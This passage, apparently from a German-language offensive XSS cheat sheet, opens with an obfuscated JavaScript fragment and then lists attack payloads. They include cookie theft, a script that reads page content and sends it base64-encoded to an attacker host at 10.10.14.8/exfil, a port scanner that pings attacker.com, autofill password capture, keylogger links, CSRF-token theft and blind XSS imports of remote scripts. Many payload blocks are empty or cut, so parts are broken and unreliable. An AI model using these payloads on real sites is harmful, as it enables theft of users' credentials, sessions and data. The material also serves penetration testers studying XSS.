((゚ー゚ == 3) + "_")[゚Θ゚] + ゚Д゚.゚Д゚ノ + (゚Д゚ + "_")[゚ー゚ + ゚ー゚] + ((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] + ((゚ー゚ == 3) + "_")[゚Θ゚] + (゚ω゚ノ + "_")[゚Θ゚] ゚ー゚ += ゚Θ゚ ゚Д゚[゚ε゚] = "\\" ゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)] o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o] ゚Д゚[゚o゚] = '"' ゚Д゚["_"]( ゚Д゚["_"]( ゚ε゚ + ゚Д゚[゚o゚] + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (゚ー゚ + ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚ー゚ + ゚Д゚[゚ε゚] + (゚ー゚ + ゚Θ゚) + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚ー゚ + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚Θ゚ + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (゚ー゚ + ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + (゚ー゚ + (o ^ _ ^ o)) + ゚Д゚[゚ε゚] + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚ー゚ + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚Θ゚ + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) - ゚Θ゚) + (o ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (o ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚ー゚ + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + (゚ー゚ + ゚Θ゚) + ゚Θ゚ + ゚Д゚[゚o゚] )(゚Θ゚) )("_") ``` ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` ## XSS häufige Payloads ### Mehrere Payloads in 1 {{#ref}} steal-info-js.md {{#endref}} ### Iframe Falle Lassen Sie den Benutzer auf der Seite navigieren, ohne ein Iframe zu verlassen, und stehlen Sie seine Aktionen (einschließlich Informationen, die in Formularen gesendet werden): {{#ref}} ../iframe-traps.md {{#endref}} ### Cookies abrufen ```javascript /?c="+document.cookie> ``` > [!NOTE] > Sie **werden nicht in der Lage sein, auf die Cookies von JavaScript zuzugreifen**, wenn das HTTPOnly-Flag im Cookie gesetzt ist. Aber hier haben Sie [einige Möglichkeiten, diesen Schutz zu umgehen](../hacking-with-cookies/index.html#httponly), wenn Sie genug Glück haben. ### Seiteninhalt stehlen ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8" var attacker = "http://10.10.14.8/exfil" var xhr = new XMLHttpRequest() xhr.onreadystatechange = function () { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open("GET", url, true) xhr.send(null) ``` ### Interne IPs finden ```html ``` ### Port Scanner (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### Port Scanner (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### Auto-fill Passworterfassung ```javascript Username:
Password:
``` Wenn Daten im Passwortfeld eingegeben werden, werden der Benutzername und das Passwort an den Server des Angreifers gesendet, selbst wenn der Client ein gespeichertes Passwort auswählt und nichts eingibt, werden die Anmeldeinformationen exfiltriert. ### Keylogger Nur durch eine Suche auf GitHub habe ich einige verschiedene gefunden: - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) - Sie können auch metasploit `http_javascript_keylogger` verwenden ### Stehlen von CSRF-Token ```javascript ``` ### Stehlen von PostMessage-Nachrichten ```html ``` ### Missbrauch von Service Workern {{#ref}} abusing-service-workers.md {{#endref}} ### Zugriff auf Shadow DOM {{#ref}} shadow-dom.md {{#endref}} ### Polyglots {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} ### Blinde XSS-Payloads Sie können auch verwenden: [https://xsshunter.com/](https://xsshunter.com) ```html "> "> >
Click Me For An Awesome Time "> "> {{constructor.constructor("import('{SERVER}/script.js')")()}} ``` ### Regex - Zugriff auf versteckte Inhalte Aus [**diesem Bericht**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) ist es möglich zu lernen, dass selbst wenn einige Werte aus JS verschwinden, es immer noch möglich ist, sie in JS-Attributen in verschiedenen Objekten zu finden. Zum Beispiel ist es möglich, einen Eingabewert eines REGEX zu finden, nachdem der Wert der Eingabe des Regex entfernt wurde: ```javascript // Do regex with flag flag = "CTF{FLAG}" re = /./g re.test(flag) // Remove flag value, nobody will be able to get it, right? flag = "" // Access previous regex input console.log(RegExp.input) console.log(RegExp.rightContext) console.log( document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ) ``` ### Brute-Force Liste {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt {{#endref}} ## XSS andere Schwachstellen ausnutzen ### XSS in Markdown Kann Markdown-Code injiziert werden, der gerendert wird? Vielleicht kannst du XSS bekommen! Überprüfe: {{#ref}} xss-in-markdown.md {{#endref}} ### XSS zu SSRF Hast du XSS auf einer **Seite, die Caching verwendet**? Versuche, **das auf SSRF zu aktualisieren** durch Edge Side Include Injection mit diesem Payload: ```python ``` Verwenden Sie es, um Cookie-Einschränkungen, XSS-Filter und vieles mehr zu umgehen!\ Weitere Informationen zu dieser Technik finden Sie hier: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). ### XSS in dynamisch erstellten PDFs Wenn eine Webseite ein PDF mit benutzergesteuerten Eingaben erstellt, können Sie versuchen, den **Bot**, der das PDF erstellt, dazu zu **bringen, beliebigen JS-Code auszuführen**.\ Wenn der **PDF-Ersteller-Bot** eine Art von **HTML** **Tags** findet, wird er sie **interpretieren**, und Sie können dieses Verhalten **ausnutzen**, um ein **Server-XSS** zu verursachen. {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} Wenn Sie keine HTML-Tags injizieren können, könnte es sich lohnen, zu versuchen, **PDF-Daten** zu injizieren: {{#ref}} pdf-injection.md {{#endref}} ### XSS in Amp4Email AMP, das darauf abzielt, die Leistung von Webseiten auf mobilen Geräten zu beschleunigen, integriert HTML-Tags, die durch JavaScript ergänzt werden, um die Funktionalität mit einem Schwerpunkt auf Geschwindigkeit und Sicherheit zu gewährleisten. Es unterstützt eine Reihe von Komponenten für verschiedene Funktionen, die über [AMP-Komponenten](https://amp.dev/documentation/components/?format=websites) zugänglich sind. Das [**AMP für E-Mail**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) Format erweitert bestimmte AMP-Komponenten auf E-Mails, sodass die Empfänger direkt innerhalb ihrer E-Mails mit Inhalten interagieren können. Beispiel [**Writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). ### XSS beim Hochladen von Dateien (svg) Laden Sie eine Datei wie die folgende als Bild hoch (von [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): ```html Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 -----------------------------232181429808 Content-Disposition: form-data; name="img"; filename="img.svg" Content-Type: image/svg+xml -----------------------------232181429808-- ``` ```html ``` ```html ``` ```svg